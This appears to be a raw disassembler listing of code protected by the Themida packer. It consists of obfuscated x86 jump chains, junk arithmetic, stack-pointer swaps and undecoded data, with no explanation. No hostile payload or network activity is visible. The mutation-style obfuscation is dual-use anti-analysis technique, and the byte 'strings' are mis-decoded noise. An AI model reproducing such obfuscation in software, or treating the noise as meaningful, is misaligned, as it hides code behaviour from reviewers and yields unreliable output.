dd 5DE88900h, 599E957h, 565D0001h, 100F6E9h
db 0
; ---------------------------------------------------------------------------
loc_551705: ; CODE XREF: Themida_:0055F2BBj
pop eax
jmp loc_558E07
; ---------------------------------------------------------------------------
aISl db '‰$$é«Ì',0
db 0
; ---------------------------------------------------------------------------
loc_551713: ; CODE XREF: Themida_:00563B1Fj
mov edi, 4
add ebp, edi
jmp loc_563692
; ---------------------------------------------------------------------------
aSvsR db ')èVéœ',0
dw 8800h
dd 0C5FE5AD5h, 3016B050h, 0A1D3E9C5h, 0C6810000h, 4, 308FBB53h
dd 814B3C7Eh, 7E308AEBh, 5BDE293Ch, 5C243487h, 89240C89h
dd 1B5C68E1h, 0EEE90000h
db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55175F: ; CODE XREF: Themida_:00552E38j
shl ebx, 1
xor ebx, 5E35F72h
or ebx, 10B80E14h
push eax
push esi
push 54802712h
pop esi
or esi, 2A307091h
jmp loc_557A65
; ---------------------------------------------------------------------------
aYs db 'Yé:Û',0
align 2
loc_551786: ; CODE XREF: Themida_:00557E95j
add ebp, 685C2A0Ah
sub ebp, 51DE6F6Fh
pop edx
push eax
mov eax, 1B149B6h
xor eax, 1B149B2h
add ebp, eax
pop eax
xchg ebp, [esp]
pop esp
and eax, ebx
jmp loc_555371
; ---------------------------------------------------------------------------
dword_5517AC dd 0F4CBE9ADh, 1C8B0000h, 4C48324h, 6FF5C281h, 0C2817B0Dh
; DATA XREF: Themida_:0054FDE4o
dd 914549Bh, 595AE9h, 0F2295800h, 2698E95Eh, 0D8F60000h
dd 0E905E8C0h, 0C013h
; ---------------------------------------------------------------------------
loc_5517DC: ; CODE XREF: Themida_:00551276j
mov edi, 6BF85D53h
sub eax, 69D23C3Eh
jmp loc_55A9E6
; ---------------------------------------------------------------------------
loc_5517EB: ; CODE XREF: Themida_:00559D33j
sub esi, eax
pop eax
sub ebp, 1F86A72h
jmp loc_560B5B
; ---------------------------------------------------------------------------
loc_5517F9: ; CODE XREF: Themida_:00561623j
push edx
push edi
push 599E4160h
pop edi
dec edi
jmp loc_555173
; ---------------------------------------------------------------------------
loc_551807: ; CODE XREF: Themida_:00564AF1j
mov ecx, esp
push ebx
mov ebx, 17E35927h
add ebx, 789F7C8Dh
shl ebx, 3
sub ebx, 1AFD6E6Ah
shr ebx, 8
xor ebx, 670314D2h
push edx
jmp loc_550141
; ---------------------------------------------------------------------------
byte_55182D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FE6Co
dd 48E95124h
db 0FEh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551837: ; CODE XREF: Themida_:0055ADFAj
neg ecx
or ecx, 72342118h
xor ecx, 0F3B5FDFAh
add esi, ecx
pop ecx
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], eax
push 628Ch
jmp loc_556DD7
; ---------------------------------------------------------------------------
db 89h
dd 4C581E5h, 81000000h, 4C5h, 242C3300h, 33242C31h, 835C242Ch
dd 79E902E9h, 870000BFh, 248B243Ch, 4C38124h, 0E9000000h
dd 6E95h, 4BDFB850h, 0AE050093h, 0E96F6706h, 323Ah, 0A63EF781h
dd 0FB2941B8h, 81CB015Fh, 0CB3BB9C3h, 68575168h, 59C0FF8h
dd 0FE7815Fh, 0F774AA5Ch, 79C781D7h, 89578F23h, 0CB015FF9h
dd 0BBE95959h
db 0F5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5518D3: ; CODE XREF: Themida_:0054FFD9j
mov edi, 60F455E4h
neg edi
xor edi, 0CB5D459Fh
add edx, edi
pop edi
add eax, 4F396024h
sub eax, edx
sub eax, 4F396024h
mov edx, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_5523AF
; ---------------------------------------------------------------------------
dword_551900 dd 0FF1C77FFh, 48B2434h, 4C48324h, 7CFAE952h ; DATA XREF: Themida_:0054FD44o
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551912: ; CODE XREF: Themida_:005541C4j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
jmp loc_54FF17
; ---------------------------------------------------------------------------
dd 1665B66h, 0BD6655D8h, 0EC811BF5h, 4, 0D062E9h
db 0
; ---------------------------------------------------------------------------
loc_551945: ; CODE XREF: Themida_:0056191Aj
not ebp
add ebp, 5243565Dh
jmp loc_55A05D
; ---------------------------------------------------------------------------
dw 8159h
dd 4C4h, 76C06800h, 14890000h, 518D6824h, 8F540000h, 0BE562404h
dd 4, 4247401h, 8124348Bh, 4C4h, 89525A00h, 4C281E2h, 0E9000000h
dd 51DCh
; ---------------------------------------------------------------------------
loc_55198C: ; CODE XREF: Themida_:005585EDj
push dword ptr [esp]
pop ebx
push edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_5636C4
; ---------------------------------------------------------------------------
loc_5519A4: ; CODE XREF: Themida_:00563310j
pop edi
and eax, edx
push dword ptr [esp]
pop edx
add esp, 4
or eax, eax
jz loc_5633DB
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
jmp loc_55443B
; ---------------------------------------------------------------------------
dw 489h
dd 2718E924h, 0C2800001h, 4509E955h, 0D9010000h, 1EBCE95Bh
db 1, 0
; ---------------------------------------------------------------------------
loc_5519E6: ; CODE XREF: Themida_:0055C65Dj
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
pop edx
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
jmp loc_55B920
; ---------------------------------------------------------------------------
loc_551A04: ; CODE XREF: Themida_:0055C21Cj
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_550446
; ---------------------------------------------------------------------------
loc_551A16: ; CODE XREF: Themida_:0055BF6Bj
pop ecx
pop edx
pop ecx
neg ebp
jmp loc_55043E
; ---------------------------------------------------------------------------
aZsyc db 'Zéy—',0
align 2
dw 0BF57h
dd 6446399Dh, 3C8BF801h, 3525E924h, 555D0001h, 4BDh, 5DE90100h
dd 5C240C87h, 0D63AE9h, 0E9DDF700h, 0FEA0h, 4C27A9B8h
dd 0CCE12D03h, 0C101E88Ch, 582434FFh, 1DB3E950h, 81580001h
dd 1277A0EDh, 45F58162h, 0E9A201D1h, 1335Dh, 7F3BD55h
dd 0ED8102DEh, 0BBF6CF47h, 0AB139F2Dh, 5E82955h, 55AB139Fh
dd 51F0015Dh, 0B931B6B9h, 0F181494Eh, 85E0919h, 8B59C801h
dd 0EC812434h, 4, 89240489h, 405E0h, 9680000h, 89000023h
dd 0FFE92434h
db 0FAh, 2 dup(0)
byte_551AC3 db 0ADh ; DATA XREF: Themida_:0054FD74o
dd 5651D831h, 0F14FE9h, 636A6800h, 3C890000h, 51E78924h
dd 3B6C00B9h, 0D1F7493Dh, 6C04C181h, 0CF013D3Bh, 4EC8159h
dd 89000000h, 4BD242Ch, 29000000h, 6A75E9EFh, 0FF660000h
dd 0E99C2404h, 0FFFFE40Fh
dword_551B08 dd 833C77FFh, 348904ECh, 0FE685024h, 8B274272h, 0C4812404h
; DATA XREF: Themida_:0054FEB8o
dd 4, 0BD169A35h, 34632D41h, 1FE962B6h
db 61h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551B2F: ; CODE XREF: Themida_:00557AD2j
pop eax
jmp loc_55E7E0
; ---------------------------------------------------------------------------
loc_551B35: ; CODE XREF: Themida_:00564459j
add ecx, 2
xor ecx, [esp]
jmp loc_550021
; ---------------------------------------------------------------------------
loc_551B43: ; CODE XREF: Themida_:0055B22Aj
and ebx, ecx
jmp loc_560824
; ---------------------------------------------------------------------------
loc_551B4A: ; CODE XREF: Themida_:005571BBj
add esp, 4
loc_551B4D: ; CODE XREF: Themida_:loc_563597j
push ebp
mov ebp, esp
push 1570h
mov [esp], ebx
jmp loc_559E24
; ---------------------------------------------------------------------------
db 5Bh, 0E9h, 8Fh
dd 89FFFFF8h, 61E95AD5h
db 7Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551B6B: ; CODE XREF: Themida_:00556096j
mov esi, 2DA3269Ah
xor esi, 377D3B6Ah
not esi
or esi, 3F1029A8h
push eax
jmp loc_55CA56
; ---------------------------------------------------------------------------
loc_551B84: ; CODE XREF: Themida_:00557F68j
sub esi, edx
sub esi, 5A3C0816h
pop edx
and eax, esi
pop esi
or eax, eax
jz loc_5584A2
sub esp, 4
mov [esp], ebx
push eax
push 1B55h
mov [esp], edi
mov edi, 50C73B28h
shr edi, 1
push ebp
push ebx
mov ebx, 6A0A06EFh
mov ebp, ebx
jmp loc_550B30
; ---------------------------------------------------------------------------
loc_551BBF: ; CODE XREF: Themida_:00550EACj
add edx, 4DF1442Bh
push 4988h
jmp loc_558AE1
; ---------------------------------------------------------------------------
db 89h
dd 0E9F889EFh, 0C1CEh
aNups6 db 'UPé6š',0 ; DATA XREF: Themida_:0054FE4Co
align 10h
dd 4C181h, 80E90000h, 81000035h, 4C4h, 34C5E900h
db 1, 0
; ---------------------------------------------------------------------------
loc_551BF6: ; CODE XREF: Themida_:00555755j
mov ebx, [esp]
jmp loc_54FF70
; ---------------------------------------------------------------------------
dw 0D989h
dd 22F8685Bh, 2C890000h, 67E5BD24h, 0E90902A3h, 83242C8Bh
dd 0E1C104C4h, 0B52E906h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551C1E: ; CODE XREF: Themida_:005573B3j
pop ebp
shl ecx, 1
xor ecx, 4D2824EBh
push ebp
jmp loc_5617AA
; ---------------------------------------------------------------------------
db 5Ah, 1, 0CDh
dd 5DE92959h, 5324148Bh, 0B850E389h, 7D0A3267h, 505E8C1h
dd 4DB84D1Bh, 7A91E9h
db 0
; ---------------------------------------------------------------------------
loc_551C4D: ; CODE XREF: Themida_:005587DEj
pop esp
jmp loc_556AE1
; ---------------------------------------------------------------------------
loc_551C53: ; CODE XREF: Themida_:0055350Ej
push ebx
not dword ptr [esp]
pop ebx
jmp loc_553B76
; ---------------------------------------------------------------------------
db 68h, 44h, 2Fh
dd 0C890000h, 511E6824h, 41596A4Ch, 56D1F749h, 0EE0CE9BEh
dd 0FFEE8141h, 81FFFFFFh, 7B700DF6h, 0FFF1096Dh, 815E2434h
dd 4C4h, 75CDE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_551C92: ; CODE XREF: Themida_:0055DA68j
mov esp, [esp]
jmp loc_54FF17
; ---------------------------------------------------------------------------
dw 0C821h
dd 592434FFh, 4C481h, 0E9400000h, 0AAF0h, 0F008E956h, 5590000h
dd 3B813D7Fh, 8AC68E05h, 4E98177h, 0E970394Bh, 0AEF3h
dd 0EC83D204h, 24148904h, 2ECB68h, 24048900h, 0DCF68BB4h
dd 0C003E4C0h, 0C2E907ECh, 8100010Bh, 4C4h, 0A0E3E900h
dd 0B9510000h, 31A4799Dh, 0F706E9C1h, 20A1E9D9h
db 2 dup(0)
word_551D02 dw 4ACh ; DATA XREF: Themida_:0054FE78o
a2sN db '2é¾N',0
align 2
dw 0EF83h
dd 81B7E904h, 0C7810000h, 4, 8104C783h, 4ECh, 243C8900h
dd 42474FFh, 24048F5Fh, 3F09685Ch, 34890000h, 0E9E68924h
dd 0B2D4h, 31240433h, 4332404h, 85D5E924h, 81040000h, 0B551E828h
dd 0D8E580BFh, 0C23FE9h
db 0
; ---------------------------------------------------------------------------
loc_551D59: ; CODE XREF: Themida_:0055527Bj
xor cl, 2Eh
xor cl, 5
add dl, cl
pop ecx
not dl
add dl, 57h
mov bl, dl
jmp loc_5593C2
; ---------------------------------------------------------------------------
word_551D6E dw 34FFh ; DATA XREF: Themida_:0054FE68o
dd 1A90E924h
db 1, 0
word_551D76 dw 0BB53h ; DATA XREF: Themida_:0054FCF4o
dd 38h, 4784E950h, 90680000h, 5E0AFB21h, 5691C681h, 5F56275Ch
dd 0F699E95Eh, 7CE90000h
db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_551D9B: ; CODE XREF: Themida_:0055F810j
mov ebp, esp
jmp loc_55905D
; ---------------------------------------------------------------------------
dw 26BAh
dd 52013133h, 57243481h, 5E2B9813h, 1357F681h, 148B2B98h
dd 9D36824h, 76E90000h
db 51h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551DC3: ; CODE XREF: Themida_:005595A2j
add ebx, 4
sub ebx, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
mov [esp], ebx
jmp loc_55A368
; ---------------------------------------------------------------------------
loc_551DE1: ; CODE XREF: Themida_:0055EBE2j
mov [esp], ecx
push 200000h
jmp loc_55FB88
; ---------------------------------------------------------------------------
loc_551DEE: ; CODE XREF: Themida_:005587F6j
pop edx
add edx, 4
sub esp, 4
mov [esp], ebp
mov ebp, 68AF354Dh
dec ebp
add ebp, 542F46AFh
not ebp
inc ebp
shr ebp, 6
or ebp, 50656D3Fh
add ebp, 0AE9210C5h
add edx, ebp
jmp loc_55C1AF
; ---------------------------------------------------------------------------
dd 2404A30Fh, 0B909E99Ch, 4050000h, 0E9000000h, 0EDCCh
; ---------------------------------------------------------------------------
loc_551E34: ; CODE XREF: Themida_:00553D06j
mov [esp], ebp
push esp
jmp loc_56141E
; ---------------------------------------------------------------------------
loc_551E3D: ; CODE XREF: Themida_:00563993j
xchg ebp, edi
pop ebp
jmp loc_5515C3
; ---------------------------------------------------------------------------
loc_551E45: ; CODE XREF: Themida_:00552E62j
jz loc_558546
push 31B1h
mov [esp], ecx
push esi
jmp loc_56097A
; ---------------------------------------------------------------------------
loc_551E59: ; CODE XREF: Themida_:00561DFEj
mov esi, 66452CE0h
jmp loc_564500
; ---------------------------------------------------------------------------
db 1
dd 7BBA52D7h, 8154613Ah, 0AB3BF2F2h, 42D2F70Ah, 0F281D2F7h
dd 6D455FBAh, 0E95AD729h, 367Ch, 555DE801h, 412773BDh
dd 5DEB0167h, 10B2E9h, 2434FF00h, 0EBE95658h
db 4Ch, 2 dup(0)
; ---------------------------------------------------------------------------
loc_551E9F: ; CODE XREF: Themida_:0056307Dj
push edi
push ebx
mov ebx, 3C5C043Ah
mov edi, 30951E8Dh
jmp loc_554D43
; ---------------------------------------------------------------------------
dd 0C281E289h, 4, 6804EA83h, 3E61h, 0FF241489h, 0E9042474h
dd 87Ch, 5007E6C1h, 4177FB8h, 58C63139h, 0E444C681h, 0EF81D0EEh
dd 51ED7A02h, 0C781F701h, 51ED7A02h, 4B67E9h, 24348900h
dd 5624148Bh, 0C681E689h, 4, 12749E9h, 0EC815D00h, 4, 0B8240489h
dd 70EA6ED5h, 48BC229h, 4C48124h, 1000000h, 0CAC6E9C2h
dd 0E9540000h, 10459h, 8B241C33h, 89662424h, 0DCE9240Ch
dd 81FFFFDFh, 4C2h, 24143300h, 33241431h, 565C2414h, 8DFC4CBEh
dd 5EF33160h, 1646CA05h, 2DD8012Bh, 2B1646CAh, 0E8DEE95Bh
dd 815C0000h, 0F0FAFC7h, 0E9FB01EEh, 2F8Bh
; ---------------------------------------------------------------------------
loc_551F74: ; CODE XREF: Themida_:0055496Aj
add edi, 365B6FA9h
jmp loc_556203
; ---------------------------------------------------------------------------
loc_551F7F: ; CODE XREF: Themida_:0055CC1Fj
inc eax
jmp loc_55E378
; ---------------------------------------------------------------------------
db 31h, 34h, 24h
dd 8B243433h, 0C892424h, 0DF81E924h, 0D101FFFFh, 5224148Bh
dd 9D68E289h, 89000000h, 0A6BD242Ch, 45657D5Bh, 42FBCD81h
dd 0F58164E3h, 65FF5BFBh, 515DEA01h, 4B9h, 59CA0100h, 0E9241433h
dd 4F61h, 2404D366h, 0DF41E99Ch, 2BDFFFFh, 1000000h, 0C335DE9h
dd 240C3124h, 5C240C33h, 24042166h, 0DF25E99Ch, 2C8BFFFFh
dd 4C48324h, 4EE81h, 0E9560000h, 11272h
; ---------------------------------------------------------------------------
loc_552004: ; CODE XREF: Themida_:00562B51j
sub bl, al
push 4C12h
mov [esp], ecx
jmp loc_5539A8
; ---------------------------------------------------------------------------
loc_552013: ; CODE XREF: Themida_:00555736j
push 36E5782Bh
jmp loc_561E79
; ---------------------------------------------------------------------------
db 68h, 3Dh, 21h
dd 34FF48EDh, 0FFE95F24h, 810000C6h, 4C7h, 4EF8100h, 0E9000000h
dd 0E1CCh, 80E9C301h, 50000086h, 0E9243C87h, 0EFA7h
dword_55204C dd 240C8B66h, 8904EC83h, 0EC83241Ch, 48F5404h, 0BA525024h
; DATA XREF: Themida_:0054FCCCo
dd 872589h, 4A7AC281h, 0ECE97511h, 89000028h, 21B951E6h
dd 0D1601302h, 6CE981E1h, 832AB072h, 74E904ECh, 87000048h
dd 248B240Ch, 9FCCE924h, 148B0000h, 4C48124h, 0FF000000h
dd 0D4E92434h, 8B000039h, 0BF0F2424h, 44968C8h, 0C890000h
dd 0DE61E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5520B6: ; CODE XREF: Themida_:0055B846j
add dword ptr [esp], 4
jmp loc_55BB53
; ---------------------------------------------------------------------------
db 81h
dd 4ECh, 242C8900h, 4BDh, 0BAEA8100h, 8174F01Eh, 0E24254C2h
dd 0CBEA810Fh, 1062F49h, 0CBC281EAh, 81062F49h, 0E24254EAh
dd 0BAC2810Fh, 0E974F01Eh, 161Ah, 7E73C781h, 7BE964D6h
db 43h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_552103: ; CODE XREF: Themida_:00562E77j
sub ecx, 0E6E137Bh
push eax
mov eax, ecx
mov edx, eax
pop eax
pop ecx
sub esp, 4
mov [esp], edx
jmp loc_55A789
; ---------------------------------------------------------------------------
aTSdd db 'T^鄤',0
db 0
; ---------------------------------------------------------------------------
loc_552125: ; CODE XREF: Themida_:00565102j
mov edx, 4
add [esp+4], edx
pop edx
pop edx
sub esp, 4
mov [esp], eax
mov eax, 4
add edx, eax
mov eax, [esp]
jmp loc_554852
; ---------------------------------------------------------------------------
loc_552145: ; CODE XREF: Themida_:00550EC7j
mov edi, ebx
push dword ptr [esp]
pop ebx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5655CD
; ---------------------------------------------------------------------------
db 83h
dd 148704C2h, 0D3D4E924h, 0EC830000h, 243C8904h, 0D36DDCBFh
dd 1C7816Bh, 0C1000000h, 0EF8106EFh, 0C7F5463Ch, 8904EC83h
dd 481243Ch, 0A4723B24h, 0EE815E4Eh, 4EA4723Bh, 0E9243C8Bh
dd 12BCCh
; ---------------------------------------------------------------------------
loc_5521A4: ; CODE XREF: Themida_:00562A30j
sub ebp, 84048402h
mov ecx, ebp
pop ebp
sub ecx, 65171F52h
add ecx, edx
add ecx, 65171F52h
jmp loc_5633C7
; ---------------------------------------------------------------------------
loc_5521C0: ; CODE XREF: Themida_:0055D1D1j
pop ecx
push esi
jmp loc_561E1C
; ---------------------------------------------------------------------------
loc_5521C7: ; CODE XREF: Themida_:00562162j
pop eax
or edx, ebp
pop ebp
sub edx, 8FBCF2FDh
and eax, edx
mov edx, [esp]
add esp, 4
shr eax, 10h
xor eax, ecx
jmp loc_557227
; ---------------------------------------------------------------------------
loc_5521E6: ; CODE XREF: Themida_:00560591j
pop edx
add eax, 51956B3Bh
add eax, edx
sub eax, 51956B3Bh
push ebx
mov ebx, 1DC33F75h
inc ebx
or ebx, 4C5331B9h
shr ebx, 4
sub ebx, 96682ABAh
add eax, ebx
pop ebx
mov edx, [esp]
jmp loc_561534
; ---------------------------------------------------------------------------
loc_552214: ; CODE XREF: Themida_:00559EF6j
mov [esp], ebp
jmp loc_55CB25
; ---------------------------------------------------------------------------
dd 4C4815Bh, 81000000h, 5C79FDC2h, 426E97Fh
db 1, 0
; ---------------------------------------------------------------------------
loc_55222E: ; CODE XREF: Themida_:0055B7ABj
add ebp, 4
jmp loc_561730
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 4C48124h, 1000000h, 0D6015EF2h, 4C6815Ah, 33000000h
dd 34312434h, 24343324h, 5EF0015Ch, 81E38953h, 4C3h, 0A056E900h
dd 895C0000h, 5D54242Ch, 4C581h, 0BA520000h, 72441790h
dd 4BA3E281h, 0E2C10BF6h, 0F7CA8102h, 504D2D7Bh, 524CE9h
dd 2C48300h, 1BBF6657h, 66526638h, 660E0FBAh, 5A66D701h
dd 0CDCF8166h, 0CF81660Dh, 4F662F84h, 5EF78166h, 0F801660Eh
dd 0C801665Fh, 61B02D66h, 0F2B2D66h, 240C8B66h, 63F768h
dd 1687E900h
db 1, 0
; ---------------------------------------------------------------------------
loc_5522CE: ; CODE XREF: Themida_:0055B924j
push 1A20h
mov [esp], ecx
jmp loc_553896
; ---------------------------------------------------------------------------
db 9
dd 0F2815EF2h, 121313Fh, 5867F281h, 0EAD147D8h, 8904EC83h
dd 10B82404h, 31039B74h, 0D18958C2h, 0BCF2E9h
db 0
; ---------------------------------------------------------------------------
loc_552301: ; CODE XREF: Themida_:0055E3A3j
pop esi
push 4A58h
mov [esp], eax
mov eax, 4AC91BE3h
sub esp, 4
mov [esp], ebx
mov ebx, 1C1C037Ch
neg ebx
shl ebx, 2
dec ebx
jmp loc_563DD5
; ---------------------------------------------------------------------------
db 52h, 51h, 0B9h
dd 3144081Fh, 44081BBAh, 59CA3131h, 685AD601h, 197Ch, 0FF243489h
dd 5E042474h, 8B24048Fh, 34FF2424h, 0B7C9E924h, 0D1BA0000h
dd 813AB101h, 633F36F2h, 0FBF5731h, 811C3767h, 0A60ADBF7h
dd 5FFA3108h, 80EBE9h, 0E9EB0100h, 0FFFFE08Dh, 0E25BE953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55237E: ; CODE XREF: Themida_:0055ED53j
push eax
mov eax, 45BA537Dh
jmp loc_559DDE
; ---------------------------------------------------------------------------
a90uxsi db '´&³90ãX鈚',0
dd 4685700h, 5F000000h, 34FFFE01h, 0C4815F24h, 4, 2FE95652h
db 0B5h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5523AF: ; CODE XREF: Themida_:005518FBj
pop esi
jmp loc_561C02
; ---------------------------------------------------------------------------
loc_5523B5: ; CODE XREF: Themida_:005602C6j
mov [esp], esi
jmp loc_55CAFB
; ---------------------------------------------------------------------------
db 51h, 89h, 0E1h
dd 4BA52h, 0D1010000h, 1B7FE9h, 2434FF00h, 4C48359h, 0FFFCE6E9h
dd 4EA83FFh, 2E70E9h, 0FFFF0500h, 9E9FFFFh
db 0CEh, 2 dup(0)
byte_5523EB db 66h ; DATA XREF: Themida_:0054FC9Co
dd 57240C8Bh, 0C7815F54h, 4, 3304EF83h, 3C31243Ch, 243C3324h
dd 8924248Bh, 0EC83243Ch, 24248904h, 4240483h, 5F2434FFh
dd 4EC81h, 14890000h, 81E28924h, 4C2h, 0EB28E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55242E: ; CODE XREF: Themida_:0056412Aj
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
push ecx
mov ecx, 4BF12D66h
xor ecx, 23033C06h
or ecx, 11A046C8h
push esi
mov esi, 0DE658C82h
sub ecx, esi
pop esi
add esi, 7FCF52F2h
add esi, ecx
jmp loc_559713
; ---------------------------------------------------------------------------
db 68h
dd 3D5Ah, 0E9241C89h, 0EA45h, 525BDF01h, 268h, 67E95A00h
db 1Ch, 1, 0
; ---------------------------------------------------------------------------
loc_55247B: ; CODE XREF: Themida_:00560DE9j
mov [esp], edi
mov edi, 241C079Fh
sub eax, edi
mov edi, [esp]
add esp, 4
jmp loc_55098C
; ---------------------------------------------------------------------------
dd 0E9DBF758h, 0F43Bh, 7D05FEB9h, 0E9E9871Bh, 12A75h
; ---------------------------------------------------------------------------
loc_5524A4: ; CODE XREF: Themida_:0055910Bj
xchg ecx, ebp
not ecx
xchg ecx, ebp
sub esp, 4
jmp loc_560F0B
; ---------------------------------------------------------------------------
dw 478Fh
dd 62026840h, 4890000h, 5E7E6824h, 1C890000h, 5F5ABB24h
dd 0EC813520h, 4, 0E9241C89h, 481Bh, 5D2434FFh, 4C481h
dd 5C010000h, 1C8B0424h, 0AF1EE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5524EE: ; CODE XREF: Themida_:00561403j
xchg eax, ebp
push 62C8h
mov [esp], ecx
mov ecx, 5BDA7315h
jmp loc_55E347
; ---------------------------------------------------------------------------
db 0C1h, 0EAh, 8
dd 10CEDE9h, 24448100h, 0BC4A5004h, 246C0159h, 246C8104h
dd 0BC4A5004h, 81585D59h, 4ECh, 240C8900h, 0FFDDA5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55252D: ; CODE XREF: Themida_:005585BCj
mov ebx, 60232A31h
and ebx, 1EB3985h
shl ebx, 5
push edi
mov edi, 73216C1Fh
or ebx, edi
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
xor ebx, 77656C3Bh
push ebx
pop esi
pop ebx
add ecx, esi
mov esi, [esp]
add esp, 4
jmp loc_5633F4
; ---------------------------------------------------------------------------
db 59h
dd 86496B68h, 0EFC15F22h, 0C7834705h, 0EF781FFh, 2999E8AEh
dd 0EB815EF7h, 190F41C0h, 0C381FB29h, 190F41C0h, 0BC25E9h
dd 9E95500h
db 50h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55259F: ; CODE XREF: Themida_:0055D125j
add edx, esi
pop esi
add edx, 4
xchg edx, [esp]
pop esp
push dword ptr [edi+1Ch]
push 6E26h
mov [esp], ebp
push esi
mov esi, 32CF3AA0h
shr esi, 4
xor esi, 4E8FDA35h
jmp loc_55F168
; ---------------------------------------------------------------------------
dd 0F7242C89h, 815D2414h, 3BA7F7C5h, 2C8155D6h, 57269724h
dd 0C3815B31h, 31572697h, 2F5BA5Dh, 0C281CE1Dh, 6A0653C7h
dd 0EA81DA01h, 6A0653C7h, 7EAC15Bh, 5505E2C1h, 943CBB53h
dd 0DD890F45h, 0E92434FFh, 0FFFFFC0Ch, 0DEF7D6F7h, 7EABD55h
dd 0EDC12239h, 0C8ED8106h, 814F7367h, 4ECh, 0E1B8E900h
dd 92BD0000h, 17FC25Eh, 0C1815DE9h, 0D482617h, 6AE9F101h
dd 8800006Bh, 7C8858C7h, 34FF0187h, 0C4835B24h, 2434FF04h
dd 5716859h, 14890000h, 0AE1DE924h, 0DBBD0000h, 0BE2AF544h
dd 542EC09Fh, 18C5C681h, 0EE01793Dh, 18C5EE81h, 2C8B793Dh
dd 52D6E924h, 0FD890000h, 0FFEE315Fh, 2C8B2434h, 2ADDE924h
dd 0EC800001h, 52B2E9FFh, 89660000h, 0DAE9241Ch
db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5526A3: ; CODE XREF: Themida_:0055F4DBj
pop edi
add ebx, 138A223Ah
jmp loc_55CF02
; ---------------------------------------------------------------------------
loc_5526AF: ; CODE XREF: Themida_:0056169Dj
pop eax
xor edx, 4BC64962h
jmp loc_55F60E
; ---------------------------------------------------------------------------
loc_5526BB: ; CODE XREF: Themida_:005572D4j
add edx, ebx
pop ebx
pop esi
sub esp, 4
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
jmp loc_55AEE6
; ---------------------------------------------------------------------------
aEsC db 'Eé$–',0
dd 0F5815D00h, 0FFEAF9BBh, 0FFF010E9h, 241489FFh, 0FFFEACE9h
dd 24348BFFh, 4C481h, 0EC830000h, 17A4E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5526FE: ; CODE XREF: Themida_:0055ACF3j
mov esp, [esp]
jmp loc_55DCF8
; ---------------------------------------------------------------------------
loc_552706: ; CODE XREF: Themida_:0055AF85j
xor esi, 41493683h
add ebp, esi
jmp loc_553BDB
; ---------------------------------------------------------------------------
db 87h
dd 315C240Ch, 4332404h, 0B618E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_552722: ; CODE XREF: Themida_:005505B8j
push ebx
jmp loc_553D0B
; ---------------------------------------------------------------------------
loc_552728: ; CODE XREF: Themida_:0054FFACj
or ebp, 6B7D003Fh
jmp loc_55440D
; ---------------------------------------------------------------------------
loc_552733: ; CODE XREF: Themida_:005563D3j
sub edi, 3B0A6E18h
mov edx, edi
pop edi
jmp loc_5545BD
; ---------------------------------------------------------------------------
db 21h, 0F0h, 0E9h
dd 3BE5h, 24048F5Ah, 10FC5E9h, 17BF6800h, 4890000h, 0F51BE924h
dd 0EC830000h, 24048904h, 0E480E9B4h, 0E9C4FEB5h, 4F51h
dd 0C104E9C1h, 0F18105E9h, 3765215h, 159C831h, 0EC8158C1h
dd 4, 0BE243489h, 4, 0FE98E955h, 0E952FFFFh, 4D84h
; ---------------------------------------------------------------------------
loc_55279C: ; CODE XREF: Themida_:00558C54j
push dword ptr [esp]
pop ecx
push edx
mov edx, esp
jmp loc_55F640
; ---------------------------------------------------------------------------
dd 0F9BB5355h, 505E3105h, 0AB34B2B8h, 1E26E929h, 0C330000h
dd 240C3124h, 0E9240C33h, 3BC3h
; ---------------------------------------------------------------------------
loc_5527C8: ; CODE XREF: Themida_:00559F7Fj
xchg ebp, [esp]
pop esp
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
jmp loc_562927
; ---------------------------------------------------------------------------
loc_5527DD: ; CODE XREF: Themida_:00551261j
pop ebx
xor esi, 36A0533Fh
push ecx
mov ecx, 3CF75D8Bh
jmp loc_554340
; ---------------------------------------------------------------------------
loc_5527EF: ; CODE XREF: Themida_:00561773j
pop edx
mov ch, bl
jmp loc_563E9B
; ---------------------------------------------------------------------------
db 89h
dd 14F72404h, 0F8355824h, 0E9D5B0A1h, 2D4Fh
; ---------------------------------------------------------------------------
loc_552808: ; CODE XREF: Themida_:0055CFDFj
pop ecx
